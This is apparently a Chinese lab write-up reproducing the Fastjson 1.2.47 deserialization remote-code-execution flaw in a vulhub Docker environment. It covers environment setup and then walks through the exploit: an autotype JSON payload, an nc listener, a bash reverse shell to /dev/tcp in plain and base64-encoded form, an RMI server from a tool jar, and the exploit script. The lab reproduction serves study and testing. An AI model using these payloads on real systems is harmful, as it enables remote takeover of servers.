1、环境搭建
1.1、下载安装docker1.2、将vulhub下载到本地 2、复现过程 1、环境搭建 1.1、下载安装docker
参考:https://zhuanlan.zhihu.com/p/82361096
1.2、将vulhub下载到本地 下载压缩包wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
解压压缩包unzip vulhub-master.zip
进入目录启动环境cd /vulhub/fastjson/1.2.47-rcedocker-compose build #将镜像拉到本地docker-compose up -d #启动镜像docker ps
这里要看下.yml文件里的端口是否被占用,默认8080,若默认端口被占用的话,vim修改个端口就好了
然后访问
环境搭建完成
漏洞产生原因:
fastjson提供了autotype功能,在请求过程中,我们可以在请求包中通过修改@type的值,来反序列化为指定的类型,而fastjson在反序列化过程中会设置和获取类中的属性,如果类中存在恶意方法,就会导致代码执行漏洞产生。
查看fastjson漏洞利用工具的pyload
POST /note/submit/param={"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://IP:port/Exploit","autoCommit":true}}}
exp下载:
https://github.com/zhzyker/exphub/tree/master/fastjson
主机2开启环境后基本不用管了
主机1监听端口
nc - lvp 8888
主机1 使用python搭建一个临时的web服务
此步是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件
# 如果你的环境是python2,使用的命令是:python -m SimpleHTTPServer 8088# 如果是python3,使用的命令是:python -m http.server 8088
主机1运行RMI服务,加载恶意java类
这里需要先把反弹shell的payload进行base64编码
bash -i >& /dev/tcp/192.168.7.108/8888 0>&1
接下来需要启用 RMI 服务。使用工具里的fastjson_tool.jar 启动一个RMI服务,监听 9999 端口,并指定加载远程类Object.class,如下图所示:
java -cp fastjson_tool.jar fastjson.HRMIServer 192.168.7.108 9999 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjcuMTA4Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}
发送反序列化代码漏洞执行命令
python fastjson-1.2.47_rce.py http://192.168.210.129:8090 rmi://192.168.7.108:9999/Object
然后nc窗口接收到shell